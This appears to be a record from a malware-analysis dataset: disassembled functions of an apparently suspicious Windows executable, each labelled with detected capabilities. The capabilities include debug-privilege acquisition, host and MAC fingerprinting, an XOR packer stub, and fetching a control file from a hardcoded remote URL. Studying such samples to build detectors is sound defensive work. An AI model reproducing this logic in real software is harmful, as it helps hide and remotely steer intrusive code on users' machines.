joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4082c0
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x214
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x210], eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00420f90
add esp, 0xc
lea edx, [esp]
push edx
push 0x43567c
push 1
push 0
push 0x43568c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x408329
xor eax, eax
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0041d795
add esp, 0x214
ret
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
push ebx
push eax
call edx
mov eax, dword [esp]
mov ecx, dword [eax]
lea edx, [esp + 4]
push edx
push 0x43569c
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x408312
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push edi
push eax
call edx
push 0x104
lea eax, [esp + 0xc]
push eax
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push 2
lea edx, [esp + 0xc]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov eax, dword [esp + 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x210]
xor ecx, esp
mov eax, 1
call fcn.0041d795
add esp, 0x214
ret

Function at 0x4083c0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x433508
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov eax, dword [esp + 0x1c]
push eax
lea ecx, [esp + 0x20]
call fcn.00404a80
mov dword [esp + 0x14], 0
mov ecx, dword [0x443bec]
push 0x438f1c
push ecx
call fcn.0041e22d
mov esi, eax
add esp, 8
test esi, esi
je 0x408460
push 2
push 0x438a4c
lea ecx, [esp + 0x24]
call fcn.004044f0
mov edx, dword [esp + 0x1c]
mov ecx, dword [edx - 8]
mov edi, dword [edx - 0xc]
mov eax, 1
sub eax, dword [edx - 4]
or ecx, eax
jge 0x408447
push 0
lea ecx, [esp + 0x20]
call fcn.00404e30
mov edx, dword [esp + 0x1c]
push esi
push 1
push edi
push edx
call fcn.0041e9b8
push esi
call fcn.0041fb10
push esi
call fcn.0041e7da
add esp, 0x18
mov dword [esp + 0x14], 0xffffffff
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x408488
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x4084a0
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x2804
call fcn.00423600
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x2800], eax
mov eax, dword [esp + 0x2808]
mov eax, dword [eax]
push esi
push 0x438f20
push eax
call fcn.0041e22d
mov esi, eax
add esp, 8
test esi, esi
je 0x408526
push 0x27ff
lea eax, [esp + 9]
push 0
push eax
mov byte [esp + 0x10], 0
call fcn.00420f90
push esi
push 0x2800
lea ecx, [esp + 0x18]
push 1
push ecx
call fcn.0041e4e4
push esi
call fcn.0041e7da
lea eax, [esp + 0x24]
add esp, 0x20
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408510
sub eax, edx
push eax
lea edx, [esp + 8]
push edx
mov ecx, edi
call fcn.00404ee0
mov ecx, dword [esp + 0x2804]
pop esi
xor ecx, esp
call fcn.0041d795
add esp, 0x2804
ret 4
Function at 0x40ccf0
Capabilities:
Read .ini file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x433481
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x244], eax
push ebx
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0x258]
mov dword fs:[0], eax
xor ebx, ebx
push 0x103
lea eax, [esp + 0x51]
push ebx
push eax
mov byte [esp + 0x58], bl
call fcn.00420f90
push 0x103
lea ecx, [esp + 0x161]
push ebx
push ecx
mov byte [esp + 0x168], bl
call fcn.00420f90
mov edx, dword [0x443be8]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
add esp, 0x18
push edx
push 0x104
lea eax, [esp + 0x54]
push eax
push 0x438a1c
push str.apppath
push str.Moble
call esi
mov ecx, dword [0x443be8]
push ecx
push 0x104
lea edx, [esp + 0x158]
push edx
push 0x438a1c
push str.appurl
push str.Moble
call esi
lea eax, [esp + 0x4c]
push ebx
push eax
call fcn.004325ed
add esp, 8
test eax, eax
jne 0x40cf0a
mov esi, 0xf
lea eax, [esp + 0x4c]
mov dword [esp + 0x2c], esi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40cdd8
sub eax, edx
push eax
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401470
lea ecx, [esp + 0x14]
lea edi, [esp + 0x30]
mov dword [esp + 0x260], ebx
call fcn.0040cbc0
mov byte [esp + 0x260], 2
cmp dword [esp + 0x2c], 0x10
jb 0x40ce20
mov edx, dword [esp + 0x18]
push edx
call fcn.00412843
add esp, 4
cmp dword [esp + 0x48], 8
mov eax, dword [esp + 0x34]
mov dword [esp + 0x2c], esi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
jae 0x40ce3b
lea eax, [esp + 0x34]
push eax
call fcn.00407c70
cmp eax, 0xffffffff
je 0x40cef6
lea eax, [esp + 0x150]
push eax
lea ecx, [esp + 0x14]
call fcn.00404a80
mov byte [esp + 0x260], 3
mov ecx, dword [0x443dd4]
push 0x438f1c
push ecx
call fcn.0041e22d
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x40cec8
push 0x438a4c
lea ecx, [esp + 0x14]
call fcn.00404140
mov edx, dword [esp + 0x10]
mov ecx, dword [edx - 8]
mov edi, dword [edx - 0xc]
mov eax, 1
sub eax, dword [edx - 4]
or ecx, eax
jge 0x40ceaf
push ebx
lea ecx, [esp + 0x14]
call fcn.00404e30
mov edx, dword [esp + 0x10]
push esi
push 1
push edi
push edx
call fcn.0041e9b8
push esi
call fcn.0041fb10
push esi
call fcn.0041e7da
add esp, 0x18
inc dword [0x443bac]
mov byte [esp + 0x260], 2
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40cef6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [esp + 0x48], 8
jb 0x40cf0a
mov ecx, dword [esp + 0x34]
push ecx
call fcn.00412843
add esp, 4
mov ecx, dword [esp + 0x258]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x244]
xor ecx, esp
call fcn.0041d795
add esp, 0x254
ret
Function at 0x40cf40
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp + 4]
push eax
push 0x20
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40cfa8
lea ecx, [esp + 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 4]
push 0
push 0
push 0x10
lea edx, [esp + 0x14]
push edx
push 0
push eax
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
add esp, 0x1c
ret
Function at 0x410a20
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x432e4c
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [esp + 0x1c]
mov eax, dword [edi]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi], eax
mov dword [esp + 0x18], 0
mov eax, dword [edi + 4]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 4], eax
mov byte [esp + 0x1c], 1
mov eax, dword [edi + 8]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 8], eax
mov byte [esp + 0x20], 2
mov eax, dword [edi + 0xc]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0xc], eax
mov byte [esp + 0x24], 3
mov eax, dword [edi + 0x10]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x10], eax
mov byte [esp + 0x28], 4
mov eax, dword [edi + 0x14]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x14], eax
mov byte [esp + 0x2c], 5
mov eax, dword [edi + 0x18]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x18], eax
mov byte [esp + 0x30], 6
mov eax, dword [edi + 0x1c]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x1c], eax
mov byte [esp + 0x34], 7
mov eax, dword [edi + 0x20]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x20], eax
mov byte [esp + 0x38], 8
mov eax, dword [edi + 0x24]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x24], eax
mov byte [esp + 0x3c], 9
mov eax, dword [edi + 0x28]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x28], eax
mov byte [esp + 0x40], 0xa
mov eax, dword [edi + 0x2c]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x2c], eax
mov byte [esp + 0x44], 0xb
mov eax, dword [edi + 0x30]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x30], eax
mov byte [esp + 0x48], 0xc
mov edi, dword [edi + 0x34]
sub edi, 0x10
push edi
call fcn.00404fa0
add esp, 0x38
add eax, 0x10
mov dword [esi + 0x34], eax
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x410ba0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x432d96
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [esp + 0x1c]
mov eax, dword [edi]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi], eax
mov dword [esp + 0x18], 0
mov eax, dword [edi + 4]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 4], eax
mov byte [esp + 0x1c], 1
mov eax, dword [edi + 8]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 8], eax
mov byte [esp + 0x20], 2
mov eax, dword [edi + 0xc]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0xc], eax
mov byte [esp + 0x24], 3
mov eax, dword [edi + 0x10]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x10], eax
mov byte [esp + 0x28], 4
mov eax, dword [edi + 0x14]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x14], eax
mov byte [esp + 0x2c], 5
mov eax, dword [edi + 0x18]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x18], eax
mov byte [esp + 0x30], 6
mov eax, dword [edi + 0x1c]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x1c], eax
mov byte [esp + 0x34], 7
mov eax, dword [edi + 0x20]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x20], eax
mov byte [esp + 0x38], 8
mov eax, dword [edi + 0x24]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x24], eax
mov byte [esp + 0x3c], 9
mov eax, dword [edi + 0x28]
sub eax, 0x10
push eax
call fcn.00404fa0
add eax, 0x10
mov dword [esi + 0x28], eax
mov byte [esp + 0x40], 0xa
mov edi, dword [edi + 0x2c]
sub edi, 0x10
push edi
call fcn.00404fa0
add esp, 0x30
add eax, 0x10
mov dword [esi + 0x2c], eax
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x4121b0
Capabilities:
Check http status code
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push 0xffffffffffffffff
push 0x432c7b
mov eax, dword fs:[0]
push eax
sub esp, 0x434
mov eax, dword [0x43fc34]
xor eax, esp
mov dword [esp + 0x430], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0x448]
mov dword fs:[0], eax
mov eax, dword [esp + 0x45c]
mov ebp, dword [esp + 0x458]
xor esi, esi
push esi
push esi
push esi
push esi
push str.Http
mov edi, ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x4123ad
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [esp + 0x24], edi
test edi, edi
je 0x412392
push 1
push bind
push 0
push 0
push 0
push ebp
push 0
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x412392
mov eax, str.Accept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg____r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412270
push 0
push 0
sub eax, edx
push eax
push str.Accept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg____r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x412392
push 0
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x20]
push edx
push 0x20000013
push esi
mov dword [esp + 0x2c], 0
mov dword [esp + 0x3c], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x412392
cmp dword [esp + 0x18], 0xc8
jne 0x412392
xor ebp, ebp
push 0x400
lea eax, [esp + 0x41]
push ebp
push eax
mov dword [esp + 0x24], ebp
mov byte [esp + 0x48], 0
call fcn.00420f90
add esp, 0xc
lea ecx, [esp + 0x2c]
call fcn.004130f4
mov ecx, dword [esp + 0x20]
push ebp
push 0x1001
push ecx
lea ecx, [esp + 0x38]
mov dword [esp + 0x45c], ebp
call fcn.0041356a
test eax, eax
je 0x41237e
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea esp, [esp]
push 0x401
lea edx, [esp + 0x40]
push 0
push edx
call fcn.00420f90
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push 0x400
lea ecx, [esp + 0x44]
push ecx
push esi
call edi
test eax, eax
je 0x412369
mov eax, dword [esp + 0x18]
push eax
lea edx, [esp + 0x40]
push edx
lea ecx, [esp + 0x34]
mov byte [esp + eax + 0x44], 0
call fcn.00412e2a
cmp dword [esp + 0x18], 0
jne 0x412320
lea ecx, [esp + 0x2c]
call fcn.0041308e
mov edi, dword [esp + 0x24]
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x2c]
mov dword [esp + 0x450], 0xffffffff
call fcn.004131fc
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
test edi, edi
je 0x4123a2
push edi
call ebx
test esi, esi
je 0x4123a9
push esi
call ebx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x448]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x430]
xor ecx, esp
call fcn.0041d795
add esp, 0x440
ret 8
Function at 0x4124a0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x433c99
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x43fc34]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, dword [esp + 0x20]
call fcn.00412b81
xor ecx, ecx
xor ebx, ebx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x4124e3
push 0x80004005
call fcn.00404f70
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
mov dword [esp + 0x18], ebx
lea edi, [esi + 4]
call fcn.00412b81
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x412512
push 0x80004005
call fcn.00404f70
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x30], ebx
mov ecx, esi
mov byte [esp + 0x18], 3
call fcn.00404d10
mov ecx, edi
call fcn.00404d10
mov ecx, esi
call fcn.00402640
mov dword [esi + 0x28], ebx
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x412560
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ecx
push ebx
push esi
push edi
push 0x401
call fcn.0041284e
push 0x401
mov ebx, eax
push 0
push ebx
call fcn.00420f90
add esp, 0x10
push 0
push 0
push 0
push 0
push str.HOST
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
xor esi, esi
test edi, edi
je 0x4125c7
push esi
push bind
push esi
push esi
push str.http:__update.xiaoxinrili.com_kantu_Control.txt
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x4125c7
lea eax, [esp + 0xc]
push eax
push 0x400
push ebx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
Function at 0x4125e0
Capabilities:
Get hostname
Get mac address on windows

Disassembly:
sub esp, 0x14
push ebp
push esi
mov esi, dword [esp + 0x20]
mov eax, dword [esi]
sub eax, 0x10
mov dword [esp + 0x10], 0x10
mov edx, dword [eax + 8]
mov ecx, 1
sub ecx, dword [eax + 0xc]
sub edx, 0x10
xor ebp, ebp
or ecx, edx
jge 0x412613
push 0x10
mov ecx, esi
call fcn.00404e30
mov eax, dword [esi]
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [esp + 0x18], eax
mov eax, dword [esi]
mov ecx, dword [eax - 8]
test eax, eax
je 0x412640
push ecx
push eax
call fcn.0041e501
add esp, 8
test eax, eax
jl 0x4127a7
mov ecx, dword [esi]
cmp eax, dword [ecx - 8]
jg 0x4127a7
mov dword [ecx - 0xc], eax
mov edx, dword [esi]
push edi
push 0x288
mov byte [eax + edx], 0
call fcn.00420203
mov edi, eax
add esp, 4
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x41269b
push edi
call fcn.004202cd
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00420203
add esp, 8
mov dword [esp + 0xc], eax
mov edi, eax
jmp 0x4126a3
test eax, eax
jne 0x41279c
lea edx, [esp + 0x10]
push edx
push edi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x412777
push ebx
mov ebx, dword [edi + 0x190]
mov dword [esp + 0x1c], ebx
test ebx, ebx
jbe 0x412776
lea ebx, [ebx + ebx*2]
push ebx
call fcn.0041284e
mov ebp, eax
mov eax, dword [esp + 0x20]
add esp, 4
xor edi, edi
xor esi, esi
add eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x41271c
jmp 0x4126f0
mov eax, dword [esp + 0x10]
movzx ecx, byte [edi + eax + 0x194]
push ecx
mov edx, ebx
push str._02X_
sub edx, esi
push edx
lea eax, [esi + ebp]
push eax
call fcn.0041da51
inc edi
add esp, 0x10
add esi, eax
cmp edi, dword [esp + 0x1c]
jb 0x4126f0
mov ecx, dword [esp + 0x10]
movzx edx, byte [edi + ecx + 0x194]
push edx
push str._02X
sub ebx, esi
push ebx
add esi, ebp
push esi
call fcn.0041da51
mov ecx, dword [esp + 0x38]
add esp, 0x10
add ecx, 4
test ebp, ebp
jne 0x41274b
xor eax, eax
jmp 0x412759
mov eax, ebp
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412750
sub eax, esi
push eax
push ebp
call fcn.00404ee0
push ebp
call fcn.00412843
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x14]
add esp, 4
mov ebp, 1
pop ebx
push edi
call fcn.004202cd
add esp, 4
test ebp, ebp
je 0x41279c
cmp dword [esp + 0x1c], 0
je 0x41279c
mov eax, 1
pop edi
mov dword [esi + 8], eax
pop esi
pop ebp
add esp, 0x14
ret 4
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x14
ret 4
push 0x80070057
call fcn.00404f70
int3

Function at 0x41d795
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43fc34]
jne 0x41d79f
repz ret
jmp fcn.0042362b
Function at 0x42ee4e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042531e
and dword [ebp - 4], 0
cmp dword [0x4438e4], 0
mov ebx, eax
jne 0x42eeff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42efb0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x438944
push edi
call esi
test eax, eax
je 0x42efb0
push eax
call fcn.004252ac
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4438e4], eax
call esi
push eax
call fcn.004252ac
mov dword [esp], 0x438920
push edi
mov dword [0x4438e8], eax
call esi
push eax
call fcn.004252ac
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4438ec], eax
call esi
push eax
call fcn.004252ac
pop ecx
mov dword [0x4438f4], eax
test eax, eax
je 0x42eeff
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004252ac
pop ecx
mov dword [0x4438f0], eax
mov eax, dword [0x4438f0]
cmp eax, ebx
je 0x42ef57
cmp dword [0x4438f4], ebx
je 0x42ef57
push eax
call fcn.00425327
push dword [0x4438f4]
mov esi, eax
call fcn.00425327
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42ef57
test edi, edi
je 0x42ef57
call esi
test eax, eax
je 0x42ef4e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42ef4e
test byte [ebp - 0xc], 1
jne 0x42ef57
or dword [ebp + 0x10], 0x200000
jmp 0x42ef90
mov eax, dword [0x4438e8]
cmp eax, ebx
je 0x42ef90
push eax
call fcn.00425327
pop ecx
test eax, eax
je 0x42ef90
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42ef90
mov eax, dword [0x4438ec]
cmp eax, ebx
je 0x42ef90
push eax
call fcn.00425327
pop ecx
test eax, eax
je 0x42ef90
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4438e4]
call fcn.00425327
pop ecx
test eax, eax
je 0x42efb0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42efb2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432564
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x432595
call fcn.0041f352
mov dword [eax], esi
call fcn.0041f33f
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0041e00d
add esp, 0x14
push 0x16
pop eax
jmp 0x4325ea
test dword [ebp + 0xc], 0xfffffff9
jne 0x432571
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4325c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041f365
pop ecx
call fcn.0041f33f
mov eax, dword [eax]
jmp 0x4325ea
test al, 0x10
jne 0x4325e8
test al, 1
je 0x4325e8
test byte [ebp + 0xc], 2
je 0x4325e8
call fcn.0041f352
mov dword [eax], 5
call fcn.0041f33f
mov dword [eax], 0xd
jmp 0x4325b9
xor eax, eax
pop esi
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x15cc7f29
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x6ebe074d
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219